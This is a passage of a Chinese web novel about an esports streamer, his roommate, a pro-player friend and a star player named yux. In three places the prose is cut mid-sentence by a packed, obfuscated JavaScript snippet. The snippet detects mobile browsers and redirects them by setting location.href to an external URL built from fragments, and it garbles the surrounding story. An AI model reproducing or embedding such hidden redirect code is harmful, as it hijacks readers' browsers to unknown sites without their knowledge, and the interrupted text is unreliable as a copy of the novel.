《别卖了，我害怕[电竞]》 1. 第 1 章 【@永恒再临赛事: #2024roeCN全明星赛# 全明星赛投票正式启动，快来为你支持的选手/主持/解说/主播送上一票吧！ 本次赛事新增邀请赛，获得票数最高的三位主播，将有机会与人气最高的三位职业选手2V2V2同台竞技～ ……】 10月18日，一条赛事投票的微博毫无征兆地冲上了热搜。 热搜第五，#全明星投票# 热搜第二，#yux 天使意# 讨论度飙升的词条下，已然沦为了一片战场。 【实时播报，目前选手第一 yux 35005票，主播第一 天使意 34020票，全都是断层领先】 【我去真的假的，yux天使意同队比赛？他们两个终于要认识了吗？】 【最期待的一集，不敢想象到时候我的手机会截多少张图[爱心][爱心]】 【神人运营，2月份的全明星赛10月就开始投票，就不能等世界赛打完再开始吗？为赛区征战的选手在你们眼里就是博流量的工具人吧？】 【yux粉还是太体面了，直接点名吸血鬼赛事趴在yux身上吸血得了】 【平时只看比赛不关注主播，这个天使意是谁啊，为什么都期待他和yux同框？】 【就一娱乐主播，粉丝挺多的但很多都是颜粉，和yux根本不认识，很多人想看同框单纯就是因为他俩长得好看[捂脸]】 【粉丝拉郎的cp和主播有什么关系……】 【又拉郎上了，不是他天使意天天贴着yux麦麸谁没事关注他一个主播？人家有搭理过你一次吗？只会炒作营销的人祝早糊哈】 【主播支持自己喜欢的选手在你们眼里就叫麦麸？某些人还是积点口德吧，当心回旋镖到自己身上明天输YT，出走半生归来仍是臭八强】 - 社交平台上已是沸反盈天，骂战焦点当事人之一的南知意对此还一无所知。 他刚把衣柜翻了个底朝天，终于很悲哀地发现，自己最后一条能穿的裤子也被鸟咬烂了。 八点整，南知意穿着经爱宠精心改造的破洞牛仔裤坐在电脑前，调整好了设备，准时开播。 【ROE/随便玩玩】 他才刚敲好直播间的标题，黑压压地一大片弹幕已经瞬间涌入了直播间： 【小意晚上好妈妈来了】 【没有摄像头？没有摄像头？没有摄像头？】 【我没看错吧，今天不是才19号吗？主播转性了？】 【上个月底主播一天怒播16小时的画面还历历在目】 【哇小意一会是要解说CG的比赛吗！】 “晚上好晚上好。”南知意平日里不常直播，这会有点困难地在眼花缭乱的弹幕里辨认着文字，“这个月底我有事要出门，就先把时长补满……一会不看比赛，就随便玩玩……摄像头？它好像有点坏了，今天就不开了。” 最后一句说得斩钉截铁。 南知意一边回复弹幕，一边飞快的把一个会动的Q/Q人贴在了平时放摄像头的地方。 Q/Q人顶着一头蓬乱的白发，黑色的大眼睛眨巴眨巴，露出无辜的神情。除此以外，头顶还有一对毛绒绒的耳朵。 这是他的粉丝根据他的游戏角色设计出的虚拟形象，乍一看，和他本人还有几分神似。 南知意本人也染了奶油灰的浅色头发，眼睛圆润明亮，眼角则天生带着一点下垂的弧度。 他第一次露脸是在Stars平台的年会直播上，当时他还是个名不见经传的小主播，粉丝量堪堪过了50w，不怎么爱开直播，只用“天使意”这个账号发一发自己在游戏里科研阴暗套路、把无辜的路人对手坑得哭爹喊娘的有趣小视频。 那段时间，他的评论区里出现的最多的一句话是【最好别让我知道你长什么样子，小心我线下单杀你：）】 然而年会当天，Stars官方直播间的观众数量直接爆炸。 许多人特意跑来一睹他的真容，看完之后只有一个想法： ——为什么一个长得这么好看表情这么无辜的人，在游戏里能玩得那么阴暗啊？？ 那场年会直播成了“天使意”一炮而红的开端。之后的短短几年时间里，他在Stars的关注量突破了1800w，已然跻身头部主播的行列。 但爆红之后，南知意依旧不忘初心地醉心于自己的科研事业，否则合同里一个月45小时的直播时长，也不会常常到月末了还剩下一多半。 他主玩的是时下最火的游戏ROE，全名Resurgence of Eternity，永恒再临，一款西幻背景的4v4动作类竞技游戏。 自六年前正式上线以来，ROE的热度便始终居高不下，其职业赛事更是在世界范围内拥有上亿观众。 【又没有头……主播37℃的嘴里怎么能说出这么冰冷的话语】 【小意月底要去干什么？和朋友旅游吗？】 【好奇问问，天使意你投票给yux又删掉的原因是什么？】 南知意正在开游戏的客户端，余光却在越来越多的弹幕里瞥见了一点不妙的端倪。 果不其然，不到一分钟内，只言片语的火星已经彻底燃成了一片战火： 【主播爱投给谁就投给谁。怎么投票给yux还需要向你们申请吗？】 【又开始yux了。这都能蹭一下，无敌了】 【到底谁蹭谁啊，yux粉丝不去看自己的比赛，跑来别人直播间干什么】 【游粉疑似对主播虐恋情深】 【咋的，敢炒敢蹭不敢认，被人发现暗搓搓用微博大号投票给yux投年度最佳选手又删掉等着别人发现的不是他天使意？】 南知意：“…………” 心好累。就知道会是这个结局。 ——南知意至今都不知道，他一个普通娱乐主播的粉丝，是如何和CG.yux这位联赛新人王、新晋顶流选手的粉丝，成为对家的。 明明这几年里，他连一句话都没有和对方说过。 在所有人的眼里，他们应该一点交集也没有才对。 而眼下，双方的矛盾已经演化到了一旦碰面，必有一场腥风血雨的程度。 他假装没有看见弹幕上的节奏，开了游戏。然而天不遂人愿，游戏刚加载好，他的主页上就弹出占满3/4个屏幕的巨大弹窗。 【YT vs CG，卫冕冠军or新王荣光？】 CG，今年roeCN联赛内春夏季赛冠军战队，唯一一支在世界赛上闯入四强的CN战队、赛区最后的孤军，对阵上去年的卫冕冠军、来自EU赛区的YT。 横幅下是正在实时进行的比赛直播画面。第二局比赛的Pick环节刚刚开始，导播把镜头给到了正在选用职业的蓝色方主C选手。 CG.Yux和那张衬着黑白队服、面无表情的脸瞬间进入所有人的视线。 挂在最顶上的双方比分同样格外醒目：CG 0-1 YT。 南知意心头一跳，啪地把弹窗给关上了。 “那什么。”他摸了摸鼻子，状似无意地开始和弹幕闲聊，“大家今天想看什么？单排？乱斗？还是……” 他的鼠标在屏幕上乱晃。 “滴滴滴”。 游戏内好友消息的提示音适时地响了起来。 南知意松了口气，看向右边的游戏好友栏。那里显示【WD.Pigeon】给他发送了两条消息。 然而，等他看清那两行字是什么、再想把消息遮住时，已经彻底来不及了。 【WD.Pigeon：你家yux有比赛，你不去看吗】 【WD.Pigeon：哦对了，吃一口他们CG的瓜？新鲜出炉】 南知意：“…………” 短短两句话。 宛如平地惊雷。 他深吸一口气，飞快地敲下四个字外加两个标点，点击发送。 【AngelYi：！！我在直播】 许久，对面回复了一串长长的省略号：“………………” 【WD.Pigeon：不是，今天才19号你抽风了吗？开什么直播啊？？】 【WD.Pigeon：你在直播你怎么不改个状态啊？！】 【AngelYi：有没有一种可能，我才刚上线两秒钟】 【WD.Pigeon：……】 【WD.Pigeon：我完了】 南知意凉凉地回复他：【是的，你完了】 Pigeon，鸽子，本名宋白羽，是他在几年前认识的朋友，后来去了WD战队打职业。 由于时常在直播时一不小心就嘴瓢漏出职业圈内各种新闻，人送外号“大漏勺”。 每年一到转会期，他的直播间观众数量将呈几何倍数增长，里头蹲满了各路盼望着他透露自家选手去向的粉丝和营销号。 这个时候再看弹幕，已经爆炸了，上面刷满了问号： 【？？？？？？】 【？我没看错吧？什么叫你家，yux？？】 【这是职业哥吧，他说CG的瓜是什么意思？CG不是还在比赛吗？】 【笑死我了，连鸽子都知道主播从来不月中直播哈哈哈哈】 【我了个你家yux啊，职业哥是不是知道什么内情】 【突然嗑到了是怎么回事，所以主播你和yux真不认识吗？速速坦白从宽！！】 ROE里没有撤回消息的功能。当然这个时候再撤回已经没用了。大约十分钟后，这段直播录屏应该就会在各大营销号的主页里漫天飞舞。 所幸，大概是Pigeon的反应过于好笑且悲惨，弹幕里的硝烟反而没有刚才那么浓重了。 【WD.Pigeon：……唉，就当我刚才放了个屁吧】 【WD.Pigeon：双排不？哥带你上分】 南知意想了想，回复道：【这么勤奋？休赛期了还训练呢】 他这句话对Pigeon来说有些许扎心。 毕竟半个月前的十六强小组赛里，WD战队刚被所有对手挨个暴打，已经灰溜溜地滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345647|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回国了，成为了CN赛区最快出局的战队。 【WD.Pigeon：……带你还叫训练？这叫带妹！】 【WD.Pigeon：进房！】 南知意笑了，点了对方的双排邀请。 Pigeon的游戏角色是一个绿头发杀马特的朋克青年，和旁边顶着毛绒绒大耳朵的白发角色反差强烈。 “玩什么位置啊？”Pigeon打开了游戏麦。 根据不同的任务分工，ROE中总共有四个不同的位置：指挥（辅助）、主C、副C以及坦克。 Pigeon在WD里的位置和南知意主玩的都是辅助位。平日里，往往都是两个不同位置的选手关系较好，只有辅助特别爱和同位置的一块玩。 两人进了一把钻石排位，Pigeon分到了主C，天使意分到了副C。 Pigeon当即选出刀尖舔血的职业女巫，南知意亮起了顺风无敌的弓箭手。 大概是两个亮闪闪的职业徽章和主播徽章震住了路人，余下的两人飞快地各自选出了当狗和大肉前排的职业。 二十五分钟后。 南知意盯着战绩结算面板里1-7-1的主C和1-4-2的副C，忧郁地叹了口气：“你不是要带我飞吗？” Pigeon：“…………” Pigeon：“下把我辅助。” 说着，又补上一句：“别和我抢。” 弹幕里已经笑成了一团： 【路人玩家的天都塌了，好不容易排到一个主播一个职业，结果哈哈哈哈】 【这甚至是钻石局，职业哥的号之前训练一直没排掉了好多分】 【我和我朋友自信当C belike】 【职业哥再打下去小心把转会期身价打没了hhhh】 南知意又无奈又想笑。 排位的间隙，没开摄像头，他光明正大地拿起手机看了一眼。 他的手机一直静音挂在【ROE2024世界邀请赛 CG vs YT】的直播间里。 此时的比分牌上，赫然已是CG 0-2 YT。 南知意感觉自己的心脏像是被人用力攥了一把。 这时Pigeon开始催他：“快点准备呀。咋了，不想和我排了是不？” 南知意：“没，我回个消息。” 他轻轻呼出一口气，退出了手机上的直播间，点了准备游戏。 接下来的三个小时里，他又和Pigeon排了五把。这回南知意优先选了主C位，五把游戏全部被他干净利落地赢了下来。 直播间里充斥着欢声笑语： 【我看谁还敢诋毁主播？黑子说话！！】 【第一次看直播，他的C居然玩的这么好？一直以为他只会整活来着】 【娱乐主播太有实力了】 【22岁正是打职业的好年纪，缺主C的战队可以来直播间买人了】 【@WD 听见没，我大哥叫你来买人呢】 被带妹五把的Pigeon说自己要休息了，已经退出了双排房间。南知意计算了一下，自己这个月还得再播大概10个小时。 “今天就先播到这里了。”他对着直播间说，“这周我还会继续直播，明天晚上，还是八点钟。大家晚安。” 弹幕纷纷刷着【晚安宝宝】【到时候见】。 南知意关闭直播，摘了耳机，抓起桌上的手机，倒回房间里的沙发上。 他闭着眼睛，安静地躺了一会，感受到自己的心脏正在砰砰跳。 半晌，南知意把手机从身下抽出来，再次打开永恒再临赛事官方直播间。 【CG 3-2 YT】 直播间画面里，正在展示第五局的MVP得主：CG.Yux，8-0-3，DMG35％。 ——让二追三。 看清比分的一刹那，南知意奇异地松了口气。 今晚一直压在他心上的那块巨石消失了。 南知意打开微信，给备注为“Pigeon”的人发去了消息：【你之前说CG怎么了？】 - 直播结束后的半小时内，ROE游戏论坛里，一条帖子力压其他讨论赛事的内容，挂在了首页的最顶端。 【谁在看主播天使意的直播？他直播间里有职业爆料说CG有情况】 0L（楼主） 所以那个传言是真的咯？yux和队里有人不合，所以CG今年世界赛才打得这么磕磕绊绊 另外，有没有人脉来讲讲，yux和天使意这两个人是真的完全不认识吗？我看Pigeon那个微妙的语气，好像完全不是这么回事啊？ 帖子主楼于10点29分31秒发出。 仅仅3秒钟后，就有了第一条回复。 1L 真有人脉，朋友在CG做运营，据她所说这两人根本不是不认识，而是早就见过面了，装不熟而已。 不信的话，过段时间说不定会出一个爆料，到时候看看咯。 另外认识≠关系好……看人脉的意思，应该是有仇＝ ＝ 2. 第 2 章 有关“CG队内矛盾”“yux与队友不合”的传言并非是第一天出现在网络上。 CG作为roeCN的流量战队，祖上曾有过世界赛一冠一亚的好成绩，但都属于四五年前的远古时代了，而当时的冠军成员早已悉数离队。 Yux，本名游辛，CG战队现如今的核心选手，主C位，前不久刚刚过完自己20岁的生日。 16岁加入CG青训，17岁被正式提拔为一队替补，19岁时，就已春夏双冠双fmvp在手。 作为刚出道两年的新人，yux的人气在联赛已是如日中天。 尽管年纪轻轻便有诸多荣誉加身，但过高的人气还是给yux带来了不小的麻烦。 有关他的争议主要围绕在两点。 第一是缺少世界性赛事的荣誉。许多人，尤其是一些曾经拿过世界赛冠军的前辈选手的粉丝，不满yux粉吹嘘荣誉的行为——吹来吹去，不还是没有拿过世冠、没有自己的武器皮肤吗？ 第二，则是他本人的性格问题。 总结下来便是——太狂了。 在无数的采访、赛后语音以及纪录片里，他的存在感都显得过于强烈。与教练争吵bp、直言队友训练赛打得菜，在他这里都是家常便饭。 有人觉得他的性格太过尖锐，不好相处。有人则十分认可：难道打得菜还不让说了吗？打职业就需要这种能说真话的人。 但若是影响到了队内氛围乃至赛时发挥，便又是另一回事了。 - 【Pigeon：唉，说是yux和主教练矛盾挺大的，好像是yux在Pick的时候想要自己做主，但那主教练觉得既然我都当你的教练了，难道我的Pick还要被你指手画脚吗？所以你看半决赛里CG的Pick乱七八糟的，差点被3-0带走】 【Pigeon：他们队里貌似还有其他问题，能走到这一步也算是奇迹了[摊手]】 第二天，南知意起了个大早，去给他的鸟添水喂食。 鸟没在笼子里，一见他开门进来，就张着色彩斑斓的大翅膀、踩着内八扑过来，很亲热地咬他的手指。 他逗鸟玩了一会，就听到楼下有人在叫他： “小意？你外卖到了，我帮你拿进来了。” “谢了，我马上来！”南知意回头喊道。 他站起身来往外走，橙蓝色的大鹦鹉追在后面咬他的裤脚，试图将他留下。南知意拼尽全力才把裤子从鸟嘴里抢救出来。 他下了楼，看见剃着寸头的丘成站在餐桌旁，手里提着他的早餐。 丘成嘴里叼了根烟：“起这么早？” “喂鸟，不然一会它要叫了。”南知意很无奈，“你怎么也起这么早？昨晚没播吗？” “播了，没播多久。和汤圆他们看完比赛就下了。”丘成耸耸肩。 “你昨天没和我们一起来看比赛真可惜了。”他又说，“CG这让二追三打的，简直流量拉满。我估计看完这场，他们也没心思看接下来的直播，干脆就直接下了。” 丘成是南知意目前的合租室友，和他算是发小，同样也在Stars上直播，关注量比他略少一些，只有他的一半。 直播是两人合租在此的原因之一。另一半则是因为南知意要养他的鸟。 大型鹦鹉领地需求又大叫声又扰民，尽管本市房租极高，南知意还是租了独栋的别墅，专门空置了一间房养鸟。丘成的卧室和工作间在一楼，他住二楼，两人各自承担一半房租。 南知意坐下来吃早饭，这时候丘成又问：“下周的决赛他们还要组个观赛团，线下的，在汤圆家里——到时候你来不？” “我来不了。”南知意在碗里戳开一个灌汤包，“我要出门呢。” “哦，对，差点忘了。你之前还在说你这两天得把时长补完。”丘成一拍脑袋。 他也在桌边坐下了，抽了口烟，突然唉声叹气起来：“也不知道这决赛yux能不能行。他要是今年再拉胯，感觉这游戏的流量又要再掉一截了。我们这群主播也真是看他的脸色吃饭。昨天一开始的时候我提了句他没打职业的时候我还见过他，和他排过几把啥的，结果一帮串子，一看0-2了，就开始骂我是——” 南知意险些被嘴里的包子呛住。 他咳了两声，打断道：“等下，你没提到我吧？” “——蹭流量的狗。”丘成抬头看了他一眼，“你放心，我没提到你。” 南知意松了口气。 他继续埋头吃饭，丘成则若有所思地看着他：“其实我要是你，我肯定就直接摊牌说我以前认识他yux。不但认识，还是你一个高中的学弟——就算以前闹过矛盾，现在也过去这么多年了。男人之间能有什么过不去的深仇大恨？” 南知意默默地想，那可不是“男人之间”“普通”的矛盾。 “不过也是。其实你也不缺这点流量。”丘成说着，突然话锋一转，“还是做娱乐主播好，粉丝黏性高，又愿意给你刷礼物。像我这种吃技术饭的，天天费力不讨好，弹幕还全是挑刺的喷子。” “前两天太倒霉了，掉了两百多分，匹配的队友全他妈是演员。这两天没比赛，还得打回来。不然回头又要喷我连个前百都没有。” 这番话落入南知意耳中，不知怎么的，让他微妙地有些不适。 但他没说什么，只是问：“你现在多少名了？” “六百多。” “前百而已，肯定没问题。”南知意笑了笑，“你之前不也上过好多次吗？” - 晚上八点，南知意再次准时开播。 换作是平常，他绝对不会如此频繁的直播，而是会把更多的时间投入到视频制作里去。但最近一段时间，南知意总觉得自己的灵感有些枯竭。再加上Pigeon告诉他自己可以拿到决赛的门票、两个人下周就要飞到X国线下观赛，他生平罕见地开始敷衍直播了。 【ROE/天梯冲分】 南知意借用了早上从丘成那里得来的灵感。今天他打开了摄像头，又登录了自己平时不用来直播的小号——他的大号作恶多端，“AngelYi”这个ID自带伤害吸引buff，经常被对面全场追杀，游戏体验十分的不良好。 【冲分？好陌生的词语】 【主播昨天五连胜彻底飘了，今天要进军技术主播行列了】 【啊啊啊啊小意妈妈来了，刚起床吗这是还穿着睡衣，看着毛茸茸的ww】 ……其实是他的衣服今早又被鸟咬坏了，刚好在肚脐眼的位置有个洞，一站起来就能被拍到。 “我这个号分挺高的，一会进游戏我就不看你们的弹幕了，不然要坑队友。”南知意把账号的排名露出来。 天梯9000名。 弹幕刷起了【重新定义高分】【对他来说算很高了】【铂金主播重振威风】【老实交代，谁把号让给你打了】。 南知意没理会弹幕的挤兑，径直开了一把。 ROE对局里大体的规则是：在对战中死去的角色，将会在重生点复活。该重生点在对局中是可以被移动的。对战双方率先毁掉对面重生点、并击杀对面所有角色的一方将会获胜。 进入对局后，玩家可以选择自己在本局想要使用的职业，不同的职业将携带不同的特殊技能。 南知意进入游戏后排到了4楼，顺利被分配到了自己想玩的指挥位。 他刚预选好自己想玩的职业【吟游者】，1楼突然打字了：【3L能让吗？】 南知意看了看1楼的位置，这个人被分配到了坦克位，而3楼是主C。 3楼直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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南知意不太喜欢玩猫，他喜欢吟游者这样移速快、够灵活的辅助。 但这个时候不换职业，显得有点太不信任队友了。 南知意换了小猫人，这时丘成又开口了：“这个一楼好像是个青训吧？他说他大号前十？” 游戏加载之后就可以看见队友的ID了。南知意扫了一眼1楼的id，叫CG.Y.letter。 CG.Y是CG的青训二队。南知意记得这个letter，似乎平时主玩的是副C，为什么会突然找丘成要主C位？ “前十没他？那不就是吹牛逼。”丘成还在和弹幕聊天，语气有些不屑。 他开了游戏麦，像是生怕队友听不见似的。 1楼的听筒没关，但也没有回应他。 进了游戏之后，南知意就隐藏了弹幕栏。 作为指挥，他习惯性地分别查看了队友的动向，发现另外两人都在正常开局，而队伍里的坦克，letter，则顺着自己的路线走到了花圃里，停住，摘掉了从左往右数第三朵蓝玫瑰，放进了背包里。 南知意到现在还记得，yux第一次站上联赛的舞台上接受采访时，主持人问了他一个问题——为什么要在丛林图开局的时候摘一朵花放进背包里呢？有没有什么特殊含义呢？ yux当时的回答是没有，因为我喜欢。事实证明他确实喜欢，因为后来的每局丛林图里他都这么干，俨然已经成为了他的标志性行为。 南知意不由得眨了眨眼。这个时间，这个服务器，不太可能吧？应该在训练、筹备决赛才对？况且何必用其他人的账号？ 大概率只是队内的小青训模仿自己喜欢的前辈而已。 南知意在心里说服了自己。他操纵着角色变成人形态，快步跟上队友的脚步。 3. 第 3 章 事实证明，女巫+小猫人的阵容一点都不适合丛林图。 开局十分钟，丘成的角色已经死了三次了。 这并非是小猫人保护不力，主要是女巫本身就是个大脆皮，外加丘成走位不慎，被对面连续突脸了好几次。 第三次时，他终于忍无可忍，直接压力起了队友：“骑士怎么给的视野啊？对面都三次突我脸上了。” 南知意觉得这个小青训有点无辜。 事实上，以他对丘成的了解，如果今天玩猫的不是自己，那挨喷的应该就是指挥了。 他打字：【大家别吵架，好好打，能赢】 还没来得及发出去，女巫第四次被对面突脸，惨死当场。 丘成的怒气彻底爆发：“尼玛的一群到底在玩什么东西啊……” 后面的内容全是鸟语花香，南知意不得不把他的麦屏蔽掉，以免自己直播被连坐封禁。 此时队内的战绩，一个0-4，一个0-2，一个0-1，一个1-0。 唯一正战绩的还是骑士，一个出大肉的坦，根本无力回天。 “……”南知意默默把自己劝架的文字删掉了。 二十分钟后。 尽管补位的骑士发挥出色，这把游戏依然在0-6的女巫的带领下输掉了。 被最后杀死的前一刻，全程沉默的路人副C像是终于破防了。 他同样开了游戏麦，直接对着丘成吼到：“一整把都在叫叫叫，你自己玩得什么勾巴啊？以为自己是yux啊女巫神？玩得不如人家一根！” “失败”的字样在路人玩家的破口大骂中跳了出来。 南知意呆了一会，然后很无奈地笑了。 “啊！”他叫了一声，捂着脸倒在椅子里，“再也不想单排辅助了！辅助的命怎么这么苦！！我只是想上分而已啊！！” 嘴里说着，但手上还是很诚实地秒开了下一把。 这次依旧是指挥位。 Pick的间隙，南知意打开弹幕栏看了看。 【冲分？这下要俯冲了哈哈哈】 【城主打得有点臭啊，被他喷的那个骑士也是脾气好，这都能忍住不开麦】 【主播快快祈祷这把的C能带你飞吧，天梯局实在不适合你[悲伤]】 【好消息，这把城主排在对面了】 【主播主播我给你报点】 “别别，”南知意连忙道，“一会把我直播间搞封了。” 己方队伍里，分配到了主C位的1楼迟迟没有选择职业。 过了一会，聊天框里冒出一行字。 【1L：我是刚才的骑士】 发完之后，他几乎是秒锁了女巫。 接着，1楼又从对话框里，发出了一个猫猫卖萌的表情包。 用意昭然若揭：你选猫。 “……？” 南知意眨了眨眼：“他在说我？他怎么认出来我的？” 【笨啊主播，点你头像就能看到你主页那6个亚服第一的大徽章】 【我去，我才看到，小意这么有实力？？】 【五个辅助章就算了，甚至还有一个女巫的？】 【租的号吧】 【怪不得一直排到高分队友，这号隐藏分估计不低，主播有福了】 纵有疑虑，南知意还是按照对方的要求，锁下了小猫人。 这把随机到的地图是【遗迹】，使用这对近战组合相对合适许多。 新的一局很快开始。 加载界面果然显示对面的主C是刚刚和他撞在了同一侧的丘成。 但开局之后，南知意的注意力很快就转移到了别处。 不知道为什么，他排到的这个女巫的操作，让他觉得……格外的似曾相识。 ……又是新人在学前辈？ 南知意迟疑了一会，在聊天框里打字。 【South0412：需要跟吗？】 【CG.Y.letter：不用】 【CG.Y.letter：我先发育】 南知意一开始没理解这句话的含义。难道他是想单枪匹马地去争资源点？ 但没过多久，对方就给出了答案。 【女巫】CG.Y.letter击杀了【吟游者】yy2233 【女巫】CG.Y.letter击杀了【剑士】72546zxy 【女巫】CG.Y.letter击杀了【大祭司】fall 南知意：“……” ROE中另一种获取资源的方式： 击杀对手之后，从对方的尸体上夺取掉落。 很快，聊天框里跳出新的信息。 【CG.Y.letter：[标记地点]】 【CG.Y.letter：[表情]】 小青训给他发了一个钱的表情。 南知意正忙着隐藏重生点。 ROE的重生点是四块石头，可以放进随身背包里，移动到别的地方。当石头被安放在地上、激活出复活之门的法阵时，死去的队友才能顺利复活，否则，将再也无法回到这局游戏。 这个设定导致ROE中负责转移重生点的玩家时常感到压力巨大。毕竟一个不小心，队友就有可能永远死去。 当然，队友的肉/体死去了，灵魂并没有——队友的灵魂还留在聊天框和语音里，问候转移重生点的玩家一整局。 安置好复活之门，南知意赶到对方标记的地点。 小青训的角色是游戏中一个默认的形象。他站在南知意面前，哗啦啦往地上倒了一箱子的金币。 南知意：“……” 南知意操纵着角色，默默捡起地上的金币，默默给自己买了全套一级护甲。 他忍不住看了一眼忘记关了的弹幕栏，此时的弹幕果然已经全是嗑cp的画风了。 【嗯……怎么感觉有点萌？】 【你不是一个人，我也觉得好嗑】 【看来城主终究不是主播的良配，赶紧抱住青训哥大腿上分哈哈哈】 【城主还在对面尸骨未寒呢，你们这样真的好吗哈哈哈哈哈】 回过神，聊天框又有了新内容。 【CG.Y.letter：现在跟我】 南知意顺手把弹幕栏缩小放在了一旁，自己变成了猫形态，挂回到女巫身上。 然而，只跟着女巫走了一小会，他就忍不住开了口，对着直播间里的观众小声道：“这个人女巫玩得太夸张了吧。” 虽说自己不常玩，但南知意对女巫这个职业异常熟悉。光看对方操作了一会，他就能断定，这个CG的小青训的女巫水平超过99％的职业选手。 至于剩下的那1％，自然是早在成名前就已是名副其实的亚服第一女巫、被玩家们戏称为“女巫神”的CG.Yux。 他忍不住想夸奖一下对方。 【South0412：你的女巫玩得好棒】 【South0412：一会可以加个好友吗^ ^】 过了一会，对方给出了答复。 【女巫】CG.Y.letter击杀了【大祭司】fall 南知意：“……” 他继续打字。 【South0412：那个人我认识，他上把多半是输上头了，你别往心里去啊，绝对不是你的问题】 【女巫】CG.Y.letter击杀了【大祭司】fall 【South0412：你上把也打得很棒^ ^】 【South0412：你没再生气了吧？】 打字框里始终没有下文。 一分钟后。 【女巫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345649|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】CG.Y.letter击杀了【大祭司】fall 南知意：“？” 怎么感觉还更来气了？ 接下来的一整把游戏，他全程挂在女巫身上，几乎不怎么需要操作。 小青训似乎对丘成怀恨在心，从头到尾只逮着他的大祭司杀。对于丘成的队友，他连看都不看一眼。 除非是他们冲上来保护大祭司，他才会连他们一起杀掉。 南知意眼睁睁看着同一条击杀信息刷新了14次。 敌方的重生点被破坏时，大祭司的KDA已经来到了0-15-4。 对面最后一人死亡前，聊天框里终于多了新的信息。 【[全部]CG.Y.letter：那个人说得挺对】 【[全部]CG.Y.letter：你确实玩得不如yux一根】 “胜利”两个字跳了出来。游戏结束。 ……真记仇啊。 南知意有点想笑，但念在对面被当狗杀的好歹是自己认识的丘成，咳嗽了两声，还是忍住了。 他在结算界面加了小青训的好友。等了一会，没等到对方的通过信息。 南知意忍不住拿起手机，给Pigeon发了条微信。 【小意小意：你认识cgy那个叫letter的青训吗？】 - 看到Pigeon的回复已经是几个小时以后的事情了。 南知意继续单排，一路连胜了七把，上了一百多分，差点没把弹幕看呆。 【666原来你真有技术啊主播】 【坏了，该不会过两天要去打职业了吧】 【那我缺少的刺客流辅助这块谁补给我呢？！】 【主播老实交代，你这个号上的亚服第一该不会都是你自己打的吧？？】 南知意伸了个懒腰，无视了满屏幕的彩虹屁。 “好饿啊，点个夜宵吃……”他抓过手机，摁亮屏幕。 几条微信消息紧接着跳了出来。 【Pigeon：你突然打听一个青训队的人干嘛】 消息间隔了半个小时。 【Pigeon：兄弟，有一个好消息和一个坏消息】 【Pigeon：好消息是这个人我刚好认识】 卖关子似的，聊天内容停在了这里。 南知意打字：【坏消息呢？】 对面仿佛一直等着他回复似的，立刻发来了一段消息。南知意隔着屏幕都仿佛看见了他眼冒八卦精光、噼里啪啦打字的模样。 【Pigeon：坏消息是这哥们昨天过敏了，现在还在医院躺着呢】 南知意的脑子一时间没有转过来。 他问：【那他怎么玩的游戏？】 Pigeon发来了一个“你是傻逼吗”的表情包。 【Pigeon：那个秋城主，是你的室友对吧？】 【Pigeon：原本这事没多大，撞车被打爆了而已。结果那个秋城主打完那把之后一直嘴臭，还黑屏破防下播了，完了就有他的粉丝跑去人家letter微博下骂他是窥屏狗，说他走位不正常，意识好得像AI，肯定是窥了屏才把主播抓死那么多次。你说这是不是莫名其妙】 【Pigeon：然后呢，就在刚才，某人大号发了条微博声明，说是自己借用了队里青训队员的账号，不是青训本人在打，有事找他说去。这个人呢马上要打决赛了，不想用自己的号打天梯，免得被别人研究了排位数据】 南知意正在喝水，一时间没仔细看他这一大段话：【是谁啊？】 【yux呗，游辛，女巫神。你不是一直夸人家女巫玩得好吗？还追着加人家好友。】Pigeon凉凉地回复道。【还能有谁？】 “…………” 南知意一口水差点呛死在喉咙里。 4. 第 4 章 #yux 天使意# 短短三天时间里，这个词条已经是第二次挂上热搜了。 点进词条，热度最高的一条微博只有一句文案和一张图片。 【太可怕了，我以为yux这辈子都不会用出这种表情包的……………】 配图是CG.Y.letter的账号发出猫猫卖萌表情包的截图。 与此同时，游戏论坛中，前两日发布的“有职业爆料说CG有情况”帖子再度被人顶了起来。 cp粉趁乱大磕特磕，唯粉则大声争辩道“yux只是看到了对方主页的女巫章，出于对高手的尊重才表现得那么亲近”云云。 经过上千楼的激烈讨论之后，贴内总算在数量更多的唯粉的控场下达成了一致意见：此事纯属巧合，两个人都根本不知道对方是谁。 ——别说是小号了，以前赛季初的时候，天使意的大号不是没有和yux撞过车。当时yux还在直播，被刷了满屏幕的名字，他从头沉默到尾，一点反应都没有。 这不是明摆着不熟吗？ 3247L 虽然但是，没人觉得yux发布的道歉微博很好笑吗 搬运一下 【@CG.Yux： @Stars-秋城主 对不起，不该打字嘲讽你。作为职业选手，打赢一个主播没什么好炫耀的。】 3248L ………… 好怪。 但好像又说不出哪里不对。 - 这场直播风波最终以yux和丘成在微博上互相发布道歉声明收尾。 yux本人有没有被影响尚且未知，丘成这边已经被CG的粉丝们喷得狗血淋头，嘲讽他“以为自己挑了个软柿子捏，结果踢到钢板了”，最后不得不取消了自己决赛当天观赛团的行程。 